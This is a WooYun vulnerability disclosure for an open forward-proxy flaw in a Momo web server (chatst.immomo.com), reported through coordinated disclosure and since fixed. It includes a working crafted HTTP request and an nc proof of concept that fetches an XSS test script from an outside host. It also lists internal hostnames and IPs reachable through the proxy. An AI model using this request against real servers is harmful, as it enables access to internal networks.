当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191121

漏洞标题：陌陌web服务器Path处理不当可以正向代理(idc机器/打不到办公网)

相关厂商：北京陌陌科技有限公司

漏洞作者： lijiejie

提交时间：2016-03-31 16:42

修复时间：2016-04-08 20:01

公开时间：2016-04-08 20:01

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：6

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-31： 细节已通知厂商并且等待厂商处理中
2016-04-01： 厂商已经确认，细节仅向厂商公开
2016-04-08： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

陌陌一台web服务器Path处理不当，可以正向代理，是idc的机器，可以在idc内穿，但打不到办公网。 (┬＿┬)

详细说明：

存在问题的web服务器是 chatst.immomo.com:80

GET :@www.lijiejie.com/xss.js HTTP/1.1
Host: chatst.immomo.com


momo.proxy.png


如图，已经可以代理访问www.lijiejie.com

漏洞证明：

root@xxxx:~/test# echo -e "GET :@www.lijiejie.com/xss.js HTTP/1.1\r\nHost: chatst.immomo.com\r\n\r\n" | nc chatst.immomo.com 80
HTTP/1.1 200 OK
Content-Length: 51
Expires: Tue, 27 Sep 2016 08:22:10 GMT
Server: MOMO
Last-Modified: Tue, 26 Jan 2016 07:40:04 GMT
Cache-Control: max-age=15552000
Date: Thu, 31 Mar 2016 08:22:09 GMT
Content-Type: application/octet-stream
alert('XSS on ' + document.domain + '\n' + Date())


测试了几个IP地址，办公网打不通：

office.wemomo.com             	172.16.7.3
hermes.wemomo.com             	10.80.103.160


但还是找了个不通的：

maven.wemomo.com              	211.152.99.47


大家无法直接访问http://maven.wemomo.com的web服务，但是代理OK的。

momo.maven.png


修复方案：

web server正确处理path

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-01 19:20

厂商回复：

感谢lijiejie一直以来对陌陌的关注并多次提交高质量的漏洞，你的支持对我们也是一种鞭策，也希望大家继续帮助我们一起提高陌陌的安全水准。

最新状态：

2016-04-08：漏洞已修复，谢谢大家。

漏洞评价：

评价

  1. 2016-03-31 17:12 | 东方先生 ( 路人 | Rank:7 漏洞数:6 | 高冷吴大神的腿)

    前排

  2. 2016-03-31 18:32 | sqlfeng ( 普通白帽子 | Rank:533 漏洞数:70 | http://weibo.com/fds1986)

    姐姐猴赛雷

  3. 2016-04-02 11:14 | 从容 ( 普通白帽子 | Rank:311 漏洞数:87 | Enjoy Hacking Just Because It's Fun | ...)

    为啥打不到也要写在标题上，猴赛雷～

  4. 2016-04-06 08:58 | Lar2y ( 实习白帽子 | Rank:31 漏洞数:12 | 有活跃团队要人么？求带飞)

    姐姐猴赛雷